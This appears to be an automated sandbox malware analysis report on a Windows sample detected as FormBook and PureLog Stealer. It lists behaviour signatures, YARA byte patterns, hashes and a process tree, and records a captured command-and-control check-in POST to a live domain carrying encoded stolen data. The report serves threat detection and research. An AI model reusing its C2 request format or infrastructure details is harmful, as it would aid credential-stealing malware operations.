Edit tour

Windows Analysis Report
UQO06iOMKZMPZ4A.exe

Overview

General Information

Sample name:	UQO06iOMKZMPZ4A.exe
Analysis ID:	1431983
MD5:	e7c340f6eab299b03ba3ffd6760268f9
SHA1:	66669dc3f7e70675b52b5c6293f4365026da17b9
SHA256:	c6f1edef594e1e06a4d16cc58539d4e50ccc5799a675c42291d81fcc567c9d30
Tags:	exeFormbook
Infos:

Detection

FormBook, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected FormBook

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

UQO06iOMKZMPZ4A.exe (PID: 7616 cmdline: "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe" MD5: E7C340F6EAB299B03BA3FFD6760268F9)

UQO06iOMKZMPZ4A.exe (PID: 7784 cmdline: "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe" MD5: E7C340F6EAB299B03BA3FFD6760268F9)

DpzZIqplfZXGlyHqisknlKbWCP.exe (PID: 2800 cmdline: "C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

unlodctr.exe (PID: 5776 cmdline: "C:\Windows\SysWOW64\unlodctr.exe" MD5: EAF86537E26CC81C0767E58F66E01F52)

DpzZIqplfZXGlyHqisknlKbWCP.exe (PID: 1516 cmdline: "C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7992 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

WerFault.exe (PID: 7860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7616 -s 1432 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1752688007.0000000003E29000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1749151470.00000000025A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a480:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13a7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2d983:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16f82:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a480:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13a7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a480:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13a7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a480:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13a7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5480d4:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x5316d3:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5480d4:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x5316d3:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Process Memory Space: UQO06iOMKZMPZ4A.exe PID: 7616	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2cb83:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16182:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2d983:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16f82:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 3 entries

Snort Signatures

ETPRO TROJAN FormBook CnC Checkin (POST) M4 - Source IP: 192.168.2.4 - Destination IP: 109.123.121.243

Timestamp:	04/26/24-07:40:05.342566
SID:	2856318
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /qruc/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-usHost: www.gattosat.icuConnection: closeContent-Length: 199Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Origin: http://www.gattosat.icuReferer: http://www.gattosat.icu/qruc/User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoData Raw: 78 6c 3d 5a 43 43 64 42 45 2b 78 67 31 42 4f 46 52 2f 4b 79 48 37 32 79 4c 48 53 34 79 30 77 70 6f 32 73 6c 44 6a 46 32 68 61 61 4c 74 62 6e 4a 31 4b 67 54 77 39 6e 47 4f 4b 5a 63 53 45 4d 6d 49 4a 49 6e 47 55 49 4b 34 74 55 63 34 4f 64 36 50 4a 74 5a 65 48 6a 41 79 33 78 42 65 6d 39 50 33 44 59 67 5a 74 6c 36 43 33 43 46 38 31 6d 6f 58 7a 4a 6b 72 66 7a 38 79 68 4a 70 49 30 36 57 37 6e 74 67 76 68 44 77 4e 2f 72 37 41 2f 76 43 41 50 6f 69 76 30 78 55 56 6b 68 2f 35 42 32 6e 6f 77 5a 6e 45 4b 67 49 37 76 61 79 33 63 34 6d 55 36 78 78 6c 47 70 4f 5a 68 73 6a 37 73 6f 38 54 4a 42 74 41 3d 3d Data Ascii: xl=ZCCdBE+xg1BOFR/KyH72yLHS4y0wpo2slDjF2haaLtbnJ1KgTw9nGOKZcSEMmIJInGUIK4tUc4Od6PJtZeHjAy3xBem9P3DYgZtl6C3CF81moXzJkrfz8yhJpI06W7ntgvhDwN/r7A/vCAPoiv0xUVkh/5B2nowZnEKgI7vay3c4mU6xxlGpOZhsj7so8TJBtA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Fri, 26 Apr 2024 05:39:49 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 26 Apr 2024 05:40:05 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 26 Apr 2024 05:40:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 26 Apr 2024 05:40:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 26 Apr 2024 05:40:13 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 05:40:33 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 05:40:36 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 05:40:39 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 05:40:42 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

